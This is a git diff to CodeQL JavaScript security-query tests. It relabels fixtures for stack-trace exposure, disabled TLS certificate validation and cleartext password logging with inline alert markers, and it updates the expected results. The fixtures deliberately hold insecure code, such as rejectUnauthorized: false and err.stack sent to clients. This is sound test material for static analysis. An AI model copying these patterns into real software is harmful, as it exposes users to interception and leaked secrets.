index 18cf2d49a1aa..420481918d12 100644
--- a/javascript/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref
@@ -1 +1,2 @@
-Security/CWE-209/StackTraceExposure.ql
+query: Security/CWE-209/StackTraceExposure.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-209/node.js b/javascript/ql/test/query-tests/Security/CWE-209/node.js
index 32f11110945b..4d3838233a8b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-209/node.js
+++ b/javascript/ql/test/query-tests/Security/CWE-209/node.js
@@ -5,10 +5,10 @@ http.createServer(function onRequest(req, res) {
   try {
     body = handleRequest(req);
   }
-  catch (err) {
+  catch (err) { // $ Source
     res.statusCode = 500;
     res.setHeader("Content-Type", "text/plain");
-    res.end(err.stack); // NOT OK
+    res.end(err.stack); // $ Alert
     return;
   }
   res.statusCode = 200;
@@ -26,7 +26,7 @@ http.createServer(function onRequest(req, res) {
     res.statusCode = 500;
     res.setHeader("Content-Type", "text/plain");
     log("Exception occurred", err.stack);
-    res.end("An exception occurred"); // OK
+    res.end("An exception occurred");
     return;
   }
   res.statusCode = 200;
diff --git a/javascript/ql/test/query-tests/Security/CWE-209/tst.js b/javascript/ql/test/query-tests/Security/CWE-209/tst.js
index b1450ce088ae..88c2dda08cc7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-209/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-209/tst.js
@@ -3,16 +3,16 @@ var http = require('http');
 http.createServer(function onRequest(req, res) {
   try {
     throw new Error();
-  } catch (e) {
-    res.end(e);                        // NOT OK
+  } catch (e) { // $ Source
+    res.end(e);                        // $ Alert
     fail(res, e);
-    res.end(e.message);                // OK
-    res.end("Caught exception " + e);  // OK
-    res.end(e.toString());             // OK
-    res.end(`Caught exception ${e}.`); // OK
+    res.end(e.message);
+    res.end("Caught exception " + e);
+    res.end(e.toString());
+    res.end(`Caught exception ${e}.`);
   }
 });
 
 function fail(res, e) {
-  res.end(e.stack);                    // NOT OK
+  res.end(e.stack);                    // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-295/DisablingCertificateValidation.qlref b/javascript/ql/test/query-tests/Security/CWE-295/DisablingCertificateValidation.qlref
index f45253e914f2..4dc900b3bf65 100644
--- a/javascript/ql/test/query-tests/Security/CWE-295/DisablingCertificateValidation.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-295/DisablingCertificateValidation.qlref
@@ -1 +1,2 @@
-Security/CWE-295/DisablingCertificateValidation.ql
\ No newline at end of file
+query: Security/CWE-295/DisablingCertificateValidation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-295/tst.js b/javascript/ql/test/query-tests/Security/CWE-295/tst.js
index d64239d64dbf..d038937dcbc1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-295/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-295/tst.js
@@ -1,81 +1,81 @@
 let https = require("https"),
   tls = require("tls");
 
-new https.Agent(); // OK
+new https.Agent();
 
 new https.Agent({
-  rejectUnauthorized: true // OK
+  rejectUnauthorized: true
 });
 
 unknownCall({
-  rejectUnauthorized: false // OK (but probably unsafe after all)
+  rejectUnauthorized: false // OK - but probably unsafe after all
 });
 
 new https.Agent({
-  rejectUnauthorized: false // NOT OK
+  rejectUnauthorized: false // $ Alert
 });
 
-process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"; // NOT OK
+process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"; // $ Alert
 
 https.get({
-  rejectUnauthorized: false // NOT OK
+  rejectUnauthorized: false // $ Alert
 });
 
 new tls.TLSSocket(socket, {
-  rejectUnauthorized: false // NOT OK
+  rejectUnauthorized: false // $ Alert
 });
 
 tls.connect({
-  rejectUnauthorized: false // NOT OK
+  rejectUnauthorized: false // $ Alert
 });
 
 let socket = new tls.TLSSocket();
 socket.renegotiate({
-  rejectUnauthorized: false // NOT OK
+  rejectUnauthorized: false // $ Alert
 });
 
 let indirect = false;
 new https.Agent({
-	rejectUnauthorized: indirect // NOT OK
+	rejectUnauthorized: indirect // $ Alert
 });
 new https.Agent({
-	rejectUnauthorized: !false // OK
+	rejectUnauthorized: !false
 });
 new https.Agent({
-	rejectUnauthorized: !!false // NOT OK
+	rejectUnauthorized: !!false // $ Alert
 });
 new https.Agent({
-	rejectUnauthorized: !true // NOT OK
+	rejectUnauthorized: !true // $ Alert
 });
 new https.Agent({
-	rejectUnauthorized: !!true // OK
+	rejectUnauthorized: !!true
 });
 new https.Agent({
-	rejectUnauthorized: unknown() // OK
+	rejectUnauthorized: unknown()
 });
 new https.Agent({
-	rejectUnauthorized: !getOptions().selfSignedSSL // OK
+	rejectUnauthorized: !getOptions().selfSignedSSL
 });
 new https.Agent({
-	rejectUnauthorized: getOptions().rejectUnauthorized // OK
+	rejectUnauthorized: getOptions().rejectUnauthorized
 });
 new https.Agent({
-	rejectUnauthorized: !!getOptions().rejectUnauthorized // OK
+	rejectUnauthorized: !!getOptions().rejectUnauthorized
 });
 new https.Agent({
-	rejectUnauthorized: getOptions() == null ? true : getOptions().verifySsl // OK
+	rejectUnauthorized: getOptions() == null ? true : getOptions().verifySsl
 });
 new https.Agent({
-	rejectUnauthorized: typeof getOptions().rejectUnauthorized === 'boolean' ? getOptions().rejectUnauthorized : undefined // OK
+	rejectUnauthorized: typeof getOptions().rejectUnauthorized === 'boolean' ? getOptions().rejectUnauthorized : undefined
 });
 
 function getSomeunsafeOptions() {
     return {
-        rejectUnauthorized: false // NOT OK
+        rejectUnauthorized: false // $ Alert
     }
 }
 new https.Agent(getSomeunsafeOptions());
 
 https.createServer({
-    rejectUnauthorized: false // NOT OK
+    rejectUnauthorized: false // $ Alert
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-295/tst2.js b/javascript/ql/test/query-tests/Security/CWE-295/tst2.js
index 50f5ae277146..f36ccfbc0990 100644
--- a/javascript/ql/test/query-tests/Security/CWE-295/tst2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-295/tst2.js
@@ -5,7 +5,7 @@ let requestOptions = {
         "content-type": "application/json",
         "accept": "application/json"
     },
-    rejectUnauthorized: false,
+    rejectUnauthorized: false, // $ Alert
     requestCert: true,
     agent: false
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-300/InsecureDependencyResolution.qlref b/javascript/ql/test/query-tests/Security/CWE-300/InsecureDependencyResolution.qlref
index 7ca76533395a..0f91bf9c2727 100644
--- a/javascript/ql/test/query-tests/Security/CWE-300/InsecureDependencyResolution.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-300/InsecureDependencyResolution.qlref
@@ -1 +1 @@
-Security/CWE-300/InsecureDependencyResolution.ql
\ No newline at end of file
+query: Security/CWE-300/InsecureDependencyResolution.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/ActionsArtifactLeak.qlref b/javascript/ql/test/query-tests/Security/CWE-312/ActionsArtifactLeak.qlref
index e133c99ba5ec..79d8f4aea279 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/ActionsArtifactLeak.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-312/ActionsArtifactLeak.qlref
@@ -1 +1 @@
-Security/CWE-312/ActionsArtifactLeak.ql
+query: Security/CWE-312/ActionsArtifactLeak.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/BuildArtifactLeak.expected b/javascript/ql/test/query-tests/Security/CWE-312/BuildArtifactLeak.expected
index a5f0eb8e860f..37c0773b6974 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/BuildArtifactLeak.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-312/BuildArtifactLeak.expected
@@ -1,5 +1,5 @@
 edges
-| build-leaks.js:5:20:5:46 | JSON.st ... ss.env) | build-leaks.js:4:39:6:1 | { // NO ... .env)\\n} | provenance |  |
+| build-leaks.js:5:20:5:46 | JSON.st ... ss.env) | build-leaks.js:4:39:6:1 | {\\n    " ... leak]\\n} | provenance |  |
 | build-leaks.js:5:35:5:45 | process.env | build-leaks.js:5:20:5:46 | JSON.st ... ss.env) | provenance |  |
 | build-leaks.js:13:11:19:10 | raw | build-leaks.js:22:36:22:38 | raw | provenance |  |
 | build-leaks.js:13:17:19:10 | Object. ...      }) | build-leaks.js:13:11:19:10 | raw | provenance |  |
@@ -24,7 +24,7 @@ edges
 | build-leaks.js:41:67:41:84 | JSON.stringify(pw) | build-leaks.js:41:43:41:86 | { "proc ... y(pw) } | provenance |  |
 | build-leaks.js:41:82:41:83 | pw | build-leaks.js:41:67:41:84 | JSON.stringify(pw) | provenance |  |
 nodes
-| build-leaks.js:4:39:6:1 | { // NO ... .env)\\n} | semmle.label | { // NO ... .env)\\n} |
+| build-leaks.js:4:39:6:1 | {\\n    " ... leak]\\n} | semmle.label | {\\n    " ... leak]\\n} |
 | build-leaks.js:5:20:5:46 | JSON.st ... ss.env) | semmle.label | JSON.st ... ss.env) |
 | build-leaks.js:5:35:5:45 | process.env | semmle.label | process.env |
 | build-leaks.js:13:11:19:10 | raw | semmle.label | raw |
@@ -54,6 +54,6 @@ subpaths
 | build-leaks.js:22:36:22:38 | raw | build-leaks.js:22:49:22:51 | env | build-leaks.js:24:20:24:22 | env | build-leaks.js:22:24:25:14 | Object. ...  }, {}) |
 | build-leaks.js:22:36:22:38 | raw | build-leaks.js:23:39:23:41 | raw | build-leaks.js:24:20:24:22 | env | build-leaks.js:22:24:25:14 | Object. ...  }, {}) |
 #select
-| build-leaks.js:4:39:6:1 | { // NO ... .env)\\n} | build-leaks.js:5:35:5:45 | process.env | build-leaks.js:4:39:6:1 | { // NO ... .env)\\n} | This creates a build artifact that depends on $@. | build-leaks.js:5:35:5:45 | process.env | sensitive data returned byprocess environment |
+| build-leaks.js:4:39:6:1 | {\\n    " ... leak]\\n} | build-leaks.js:5:35:5:45 | process.env | build-leaks.js:4:39:6:1 | {\\n    " ... leak]\\n} | This creates a build artifact that depends on $@. | build-leaks.js:5:35:5:45 | process.env | sensitive data returned byprocess environment |
 | build-leaks.js:34:26:34:57 | getEnv( ... ngified | build-leaks.js:15:24:15:34 | process.env | build-leaks.js:34:26:34:57 | getEnv( ... ngified | This creates a build artifact that depends on $@. | build-leaks.js:15:24:15:34 | process.env | sensitive data returned byprocess environment |
 | build-leaks.js:41:43:41:86 | { "proc ... y(pw) } | build-leaks.js:40:14:40:60 | url.par ... assword | build-leaks.js:41:43:41:86 | { "proc ... y(pw) } | This creates a build artifact that depends on $@. | build-leaks.js:40:14:40:60 | url.par ... assword | sensitive data returned byan access to current_password |
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/BuildArtifactLeak.qlref b/javascript/ql/test/query-tests/Security/CWE-312/BuildArtifactLeak.qlref
index 79cb9bca5331..ac51e69c797b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/BuildArtifactLeak.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-312/BuildArtifactLeak.qlref
@@ -1 +1 @@
-Security/CWE-312/BuildArtifactLeak.ql
\ No newline at end of file
+query: Security/CWE-312/BuildArtifactLeak.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/CleartextLogging.expected b/javascript/ql/test/query-tests/Security/CWE-312/CleartextLogging.expected
index d58070e1e879..491c4359fe72 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/CleartextLogging.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-312/CleartextLogging.expected
@@ -1,14 +1,57 @@
+#select
+| passwords.js:2:17:2:24 | password | passwords.js:2:17:2:24 | password | passwords.js:2:17:2:24 | password | This logs sensitive data returned by $@ as clear text. | passwords.js:2:17:2:24 | password | an access to password |
+| passwords.js:3:17:3:26 | o.password | passwords.js:3:17:3:26 | o.password | passwords.js:3:17:3:26 | o.password | This logs sensitive data returned by $@ as clear text. | passwords.js:3:17:3:26 | o.password | an access to password |
+| passwords.js:4:17:4:29 | getPassword() | passwords.js:4:17:4:29 | getPassword() | passwords.js:4:17:4:29 | getPassword() | This logs sensitive data returned by $@ as clear text. | passwords.js:4:17:4:29 | getPassword() | a call to getPassword |
+| passwords.js:5:17:5:31 | o.getPassword() | passwords.js:5:17:5:31 | o.getPassword() | passwords.js:5:17:5:31 | o.getPassword() | This logs sensitive data returned by $@ as clear text. | passwords.js:5:17:5:31 | o.getPassword() | a call to getPassword |
+| passwords.js:8:21:8:21 | x | passwords.js:10:11:10:18 | password | passwords.js:8:21:8:21 | x | This logs sensitive data returned by $@ as clear text. | passwords.js:10:11:10:18 | password | an access to password |
+| passwords.js:12:18:12:25 | password | passwords.js:12:18:12:25 | password | passwords.js:12:18:12:25 | password | This logs sensitive data returned by $@ as clear text. | passwords.js:12:18:12:25 | password | an access to password |
+| passwords.js:14:17:14:38 | name +  ... assword | passwords.js:14:31:14:38 | password | passwords.js:14:17:14:38 | name +  ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:14:31:14:38 | password | an access to password |
+| passwords.js:16:17:16:38 | `${name ... sword}` | passwords.js:16:29:16:36 | password | passwords.js:16:17:16:38 | `${name ... sword}` | This logs sensitive data returned by $@ as clear text. | passwords.js:16:29:16:36 | password | an access to password |
+| passwords.js:21:17:21:20 | obj1 | passwords.js:19:19:19:19 | x | passwords.js:21:17:21:20 | obj1 | This logs sensitive data returned by $@ as clear text. | passwords.js:19:19:19:19 | x | an access to password |
+| passwords.js:26:17:26:20 | obj2 | passwords.js:24:12:24:19 | password | passwords.js:26:17:26:20 | obj2 | This logs sensitive data returned by $@ as clear text. | passwords.js:24:12:24:19 | password | an access to password |
+| passwords.js:78:17:78:38 | temp.en ... assword | passwords.js:77:37:77:53 | req.body.password | passwords.js:78:17:78:38 | temp.en ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:77:37:77:53 | req.body.password | an access to password |
+| passwords.js:81:17:81:31 | `pw: ${secret}` | passwords.js:80:18:80:25 | password | passwords.js:81:17:81:31 | `pw: ${secret}` | This logs sensitive data returned by $@ as clear text. | passwords.js:80:18:80:25 | password | an access to password |
+| passwords.js:93:21:93:46 | "Passwo ... assword | passwords.js:93:39:93:46 | password | passwords.js:93:21:93:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:93:39:93:46 | password | an access to password |
+| passwords.js:98:21:98:46 | "Passwo ... assword | passwords.js:98:39:98:46 | password | passwords.js:98:21:98:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:98:39:98:46 | password | an access to password |
+| passwords.js:105:21:105:46 | "Passwo ... assword | passwords.js:105:39:105:46 | password | passwords.js:105:21:105:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:105:39:105:46 | password | an access to password |
+| passwords.js:110:21:110:46 | "Passwo ... assword | passwords.js:110:39:110:46 | password | passwords.js:110:21:110:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:110:39:110:46 | password | an access to password |
+| passwords.js:114:25:114:50 | "Passwo ... assword | passwords.js:114:43:114:50 | password | passwords.js:114:25:114:50 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:114:43:114:50 | password | an access to password |
+| passwords.js:119:21:119:46 | "Passwo ... assword | passwords.js:119:39:119:46 | password | passwords.js:119:21:119:46 | "Passwo ... assword | This logs sensitive data returned by $@ as clear text. | passwords.js:119:39:119:46 | password | an access to password |
+| passwords.js:122:17:122:49 | name +  ... tring() | passwords.js:122:31:122:38 | password | passwords.js:122:17:122:49 | name +  ... tring() | This logs sensitive data returned by $@ as clear text. | passwords.js:122:31:122:38 | password | an access to password |
+| passwords.js:123:17:123:48 | name +  ... lueOf() | passwords.js:123:31:123:38 | password | passwords.js:123:17:123:48 | name +  ... lueOf() | This logs sensitive data returned by $@ as clear text. | passwords.js:123:31:123:38 | password | an access to password |
+| passwords.js:135:17:135:22 | config | passwords.js:128:19:128:19 | x | passwords.js:135:17:135:22 | config | This logs sensitive data returned by $@ as clear text. | passwords.js:128:19:128:19 | x | an access to password |
+| passwords.js:135:17:135:22 | config | passwords.js:130:12:130:19 | password | passwords.js:135:17:135:22 | config | This logs sensitive data returned by $@ as clear text. | passwords.js:130:12:130:19 | password | an access to password |
+| passwords.js:135:17:135:22 | config | passwords.js:131:12:131:24 | getPassword() | passwords.js:135:17:135:22 | config | This logs sensitive data returned by $@ as clear text. | passwords.js:131:12:131:24 | getPassword() | a call to getPassword |
+| passwords.js:136:17:136:24 | config.x | passwords.js:130:12:130:19 | password | passwords.js:136:17:136:24 | config.x | This logs sensitive data returned by $@ as clear text. | passwords.js:130:12:130:19 | password | an access to password |
+| passwords.js:137:17:137:24 | config.y | passwords.js:131:12:131:24 | getPassword() | passwords.js:137:17:137:24 | config.y | This logs sensitive data returned by $@ as clear text. | passwords.js:131:12:131:24 | getPassword() | a call to getPassword |
+| passwords.js:142:26:142:34 | arguments | passwords.js:147:12:147:19 | password | passwords.js:142:26:142:34 | arguments | This logs sensitive data returned by $@ as clear text. | passwords.js:147:12:147:19 | password | an access to password |
+| passwords.js:142:26:142:34 | arguments | passwords.js:150:21:150:31 | process.env | passwords.js:142:26:142:34 | arguments | This logs sensitive data returned by $@ as clear text. | passwords.js:150:21:150:31 | process.env | process environment |
+| passwords.js:142:26:142:34 | arguments | passwords.js:152:33:152:43 | process.env | passwords.js:142:26:142:34 | arguments | This logs sensitive data returned by $@ as clear text. | passwords.js:152:33:152:43 | process.env | process environment |
+| passwords.js:156:17:156:27 | process.env | passwords.js:156:17:156:27 | process.env | passwords.js:156:17:156:27 | process.env | This logs sensitive data returned by $@ as clear text. | passwords.js:156:17:156:27 | process.env | process environment |
+| passwords.js:163:14:163:41 | passwor ... g, "*") | passwords.js:163:14:163:21 | password | passwords.js:163:14:163:41 | passwor ... g, "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:163:14:163:21 | password | an access to password |
+| passwords.js:164:14:164:42 | passwor ... g, "*") | passwords.js:164:14:164:21 | password | passwords.js:164:14:164:42 | passwor ... g, "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:164:14:164:21 | password | an access to password |
+| passwords.js:169:17:169:45 | passwor ... g, "*") | passwords.js:169:17:169:24 | password | passwords.js:169:17:169:45 | passwor ... g, "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:169:17:169:24 | password | an access to password |
+| passwords.js:170:11:170:39 | passwor ... g, "*") | passwords.js:170:11:170:18 | password | passwords.js:170:11:170:39 | passwor ... g, "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:170:11:170:18 | password | an access to password |
+| passwords.js:173:17:173:26 | myPassword | passwords.js:173:17:173:26 | myPassword | passwords.js:173:17:173:26 | myPassword | This logs sensitive data returned by $@ as clear text. | passwords.js:173:17:173:26 | myPassword | an access to myPassword |
+| passwords.js:176:17:176:26 | myPasscode | passwords.js:176:17:176:26 | myPasscode | passwords.js:176:17:176:26 | myPasscode | This logs sensitive data returned by $@ as clear text. | passwords.js:176:17:176:26 | myPasscode | an access to myPasscode |
+| passwords.js:182:14:182:51 | passwor ... ), "*") | passwords.js:182:14:182:21 | password | passwords.js:182:14:182:51 | passwor ... ), "*") | This logs sensitive data returned by $@ as clear text. | passwords.js:182:14:182:21 | password | an access to password |
+| passwords.js:188:15:188:41 | JSON.st ... ss.env) | passwords.js:188:30:188:40 | process.env | passwords.js:188:15:188:41 | JSON.st ... ss.env) | This logs sensitive data returned by $@ as clear text. | passwords.js:188:30:188:40 | process.env | process environment |
+| passwords_in_server_1.js:6:13:6:20 | password | passwords_in_server_1.js:6:13:6:20 | password | passwords_in_server_1.js:6:13:6:20 | password | This logs sensitive data returned by $@ as clear text. | passwords_in_server_1.js:6:13:6:20 | password | an access to password |
+| passwords_in_server_2.js:3:13:3:20 | password | passwords_in_server_2.js:3:13:3:20 | password | passwords_in_server_2.js:3:13:3:20 | password | This logs sensitive data returned by $@ as clear text. | passwords_in_server_2.js:3:13:3:20 | password | an access to password |
+| passwords_in_server_3.js:2:13:2:20 | password | passwords_in_server_3.js:2:13:2:20 | password | passwords_in_server_3.js:2:13:2:20 | password | This logs sensitive data returned by $@ as clear text. | passwords_in_server_3.js:2:13:2:20 | password | an access to password |
+| passwords_in_server_4.js:2:13:2:20 | password | passwords_in_server_4.js:2:13:2:20 | password | passwords_in_server_4.js:2:13:2:20 | password | This logs sensitive data returned by $@ as clear text. | passwords_in_server_4.js:2:13:2:20 | password | an access to password |
+| passwords_in_server_5.js:8:17:8:17 | x | passwords_in_server_5.js:4:7:4:24 | req.query.password | passwords_in_server_5.js:8:17:8:17 | x | This logs sensitive data returned by $@ as clear text. | passwords_in_server_5.js:4:7:4:24 | req.query.password | an access to password |
 edges
 | passwords.js:7:20:7:20 | x | passwords.js:8:21:8:21 | x | provenance |  |
 | passwords.js:10:11:10:18 | password | passwords.js:7:20:7:20 | x | provenance |  |
 | passwords.js:14:31:14:38 | password | passwords.js:14:17:14:38 | name +  ... assword | provenance |  |
 | passwords.js:16:29:16:36 | password | passwords.js:16:17:16:38 | `${name ... sword}` | provenance |  |
 | passwords.js:18:9:20:5 | obj1 [password] | passwords.js:21:17:21:20 | obj1 | provenance |  |
-| passwords.js:18:16:20:5 | {\\n      ... x\\n    } [password] | passwords.js:18:9:20:5 | obj1 [password] | provenance |  |
-| passwords.js:19:19:19:19 | x | passwords.js:18:16:20:5 | {\\n      ... x\\n    } [password] | provenance |  |
+| passwords.js:18:16:20:5 | {\\n      ... ]\\n    } [password] | passwords.js:18:9:20:5 | obj1 [password] | provenance |  |
+| passwords.js:19:19:19:19 | x | passwords.js:18:16:20:5 | {\\n      ... ]\\n    } [password] | provenance |  |
 | passwords.js:23:9:25:5 | obj2 [x] | passwords.js:26:17:26:20 | obj2 | provenance |  |
-| passwords.js:23:16:25:5 | {\\n      ... d\\n    } [x] | passwords.js:23:9:25:5 | obj2 [x] | provenance |  |
-| passwords.js:24:12:24:19 | password | passwords.js:23:16:25:5 | {\\n      ... d\\n    } [x] | provenance |  |
+| passwords.js:23:16:25:5 | {\\n      ... ]\\n    } [x] | passwords.js:23:9:25:5 | obj2 [x] | provenance |  |
+| passwords.js:24:12:24:19 | password | passwords.js:23:16:25:5 | {\\n      ... ]\\n    } [x] | provenance |  |
 | passwords.js:77:9:77:55 | temp [encryptedPassword] | passwords.js:78:17:78:20 | temp [encryptedPassword] | provenance |  |
 | passwords.js:77:16:77:55 | { encry ... sword } [encryptedPassword] | passwords.js:77:9:77:55 | temp [encryptedPassword] | provenance |  |
 | passwords.js:77:37:77:53 | req.body.password | passwords.js:77:16:77:55 | { encry ... sword } [encryptedPassword] | provenance |  |
@@ -31,12 +74,12 @@ edges
 | passwords.js:127:9:132:5 | config [x] | passwords.js:136:17:136:22 | config [x] | provenance |  |
 | passwords.js:127:9:132:5 | config [y] | passwords.js:135:17:135:22 | config | provenance |  |
 | passwords.js:127:9:132:5 | config [y] | passwords.js:137:17:137:22 | config [y] | provenance |  |
-| passwords.js:127:18:132:5 | {\\n      ... )\\n    } [password] | passwords.js:127:9:132:5 | config [password] | provenance |  |
-| passwords.js:127:18:132:5 | {\\n      ... )\\n    } [x] | passwords.js:127:9:132:5 | config [x] | provenance |  |
-| passwords.js:127:18:132:5 | {\\n      ... )\\n    } [y] | passwords.js:127:9:132:5 | config [y] | provenance |  |
-| passwords.js:128:19:128:19 | x | passwords.js:127:18:132:5 | {\\n      ... )\\n    } [password] | provenance |  |
-| passwords.js:130:12:130:19 | password | passwords.js:127:18:132:5 | {\\n      ... )\\n    } [x] | provenance |  |
-| passwords.js:131:12:131:24 | getPassword() | passwords.js:127:18:132:5 | {\\n      ... )\\n    } [y] | provenance |  |
+| passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [password] | passwords.js:127:9:132:5 | config [password] | provenance |  |
+| passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [x] | passwords.js:127:9:132:5 | config [x] | provenance |  |
+| passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [y] | passwords.js:127:9:132:5 | config [y] | provenance |  |
+| passwords.js:128:19:128:19 | x | passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [password] | provenance |  |
+| passwords.js:130:12:130:19 | password | passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [x] | provenance |  |
+| passwords.js:131:12:131:24 | getPassword() | passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [y] | provenance |  |
 | passwords.js:136:17:136:22 | config [x] | passwords.js:136:17:136:24 | config.x | provenance |  |
 | passwords.js:137:17:137:22 | config [y] | passwords.js:137:17:137:24 | config.y | provenance |  |
 | passwords.js:142:26:142:34 | [apply call taint node] | passwords.js:142:26:142:34 | arguments | provenance |  |
@@ -48,8 +91,8 @@ edges
 | passwords.js:142:26:142:34 | arguments [ArrayElement] | passwords.js:142:26:142:34 | [apply call taint node] | provenance |  |
 | passwords.js:142:26:142:34 | arguments [ArrayElement] | passwords.js:142:26:142:34 | [apply call taint node] | provenance |  |
 | passwords.js:146:9:148:5 | config [x] | passwords.js:149:21:149:26 | config [x] | provenance |  |
-| passwords.js:146:18:148:5 | {\\n      ... d\\n    } [x] | passwords.js:146:9:148:5 | config [x] | provenance |  |
-| passwords.js:147:12:147:19 | password | passwords.js:146:18:148:5 | {\\n      ... d\\n    } [x] | provenance |  |
+| passwords.js:146:18:148:5 | {\\n      ... ]\\n    } [x] | passwords.js:146:9:148:5 | config [x] | provenance |  |
+| passwords.js:147:12:147:19 | password | passwords.js:146:18:148:5 | {\\n      ... ]\\n    } [x] | provenance |  |
 | passwords.js:149:21:149:26 | config [x] | passwords.js:149:21:149:28 | config.x | provenance |  |
 | passwords.js:149:21:149:28 | config.x | passwords.js:142:26:142:34 | arguments | provenance |  |
 | passwords.js:149:21:149:28 | config.x | passwords.js:142:26:142:34 | arguments | provenance | Config |
@@ -89,11 +132,11 @@ nodes
 | passwords.js:16:17:16:38 | `${name ... sword}` | semmle.label | `${name ... sword}` |
 | passwords.js:16:29:16:36 | password | semmle.label | password |
 | passwords.js:18:9:20:5 | obj1 [password] | semmle.label | obj1 [password] |
-| passwords.js:18:16:20:5 | {\\n      ... x\\n    } [password] | semmle.label | {\\n      ... x\\n    } [password] |
+| passwords.js:18:16:20:5 | {\\n      ... ]\\n    } [password] | semmle.label | {\\n      ... ]\\n    } [password] |
 | passwords.js:19:19:19:19 | x | semmle.label | x |
 | passwords.js:21:17:21:20 | obj1 | semmle.label | obj1 |
 | passwords.js:23:9:25:5 | obj2 [x] | semmle.label | obj2 [x] |
-| passwords.js:23:16:25:5 | {\\n      ... d\\n    } [x] | semmle.label | {\\n      ... d\\n    } [x] |
+| passwords.js:23:16:25:5 | {\\n      ... ]\\n    } [x] | semmle.label | {\\n      ... ]\\n    } [x] |
 | passwords.js:24:12:24:19 | password | semmle.label | password |
 | passwords.js:26:17:26:20 | obj2 | semmle.label | obj2 |
 | passwords.js:77:9:77:55 | temp [encryptedPassword] | semmle.label | temp [encryptedPassword] |
@@ -126,9 +169,9 @@ nodes
 | passwords.js:127:9:132:5 | config [password] | semmle.label | config [password] |
 | passwords.js:127:9:132:5 | config [x] | semmle.label | config [x] |
 | passwords.js:127:9:132:5 | config [y] | semmle.label | config [y] |
-| passwords.js:127:18:132:5 | {\\n      ... )\\n    } [password] | semmle.label | {\\n      ... )\\n    } [password] |
-| passwords.js:127:18:132:5 | {\\n      ... )\\n    } [x] | semmle.label | {\\n      ... )\\n    } [x] |
-| passwords.js:127:18:132:5 | {\\n      ... )\\n    } [y] | semmle.label | {\\n      ... )\\n    } [y] |
+| passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [password] | semmle.label | {\\n      ... ]\\n    } [password] |
+| passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [x] | semmle.label | {\\n      ... ]\\n    } [x] |
+| passwords.js:127:18:132:5 | {\\n      ... ]\\n    } [y] | semmle.label | {\\n      ... ]\\n    } [y] |
 | passwords.js:128:19:128:19 | x | semmle.label | x |
 | passwords.js:130:12:130:19 | password | semmle.label | password |
 | passwords.js:131:12:131:24 | getPassword() | semmle.label | getPassword() |
@@ -145,7 +188,7 @@ nodes
 | passwords.js:142:26:142:34 | arguments [ArrayElement] | semmle.label | arguments [ArrayElement] |
 | passwords.js:142:26:142:34 | arguments [ArrayElement] | semmle.label | arguments [ArrayElement] |
 | passwords.js:146:9:148:5 | config [x] | semmle.label | config [x] |
-| passwords.js:146:18:148:5 | {\\n      ... d\\n    } [x] | semmle.label | {\\n      ... d\\n    } [x] |
+| passwords.js:146:18:148:5 | {\\n      ... ]\\n    } [x] | semmle.label | {\\n      ... ]\\n    } [x] |
 | passwords.js:147:12:147:19 | password | semmle.label | password |
 | passwords.js:149:21:149:26 | config [x] | semmle.label | config [x] |
 | passwords.js:149:21:149:28 | config.x | semmle.label | config.x |
@@ -180,46 +223,3 @@ nodes
 | passwords_in_server_5.js:7:12:7:12 | x | semmle.label | x |
 | passwords_in_server_5.js:8:17:8:17 | x | semmle.label | x |
 subpaths
-#select
-| passwords.js:2:17:2:24 | password | passwords.js:2:17:2:24 | password | passwords.js:2:17:2:24 | password | This logs sensitive data returned by $@ as clear text. | passwords.js:2:17:2:24 | password | an access to password |
-| passwords.js:3:17:3:26 | o.password | passwords.js:3:17:3:26 | o.password | passwords.js:3:17:3:26 | o.password | This logs sensitive data returned by $@ as clear text. | passwords.js:3:17:3:26 | o.password | an access to password |
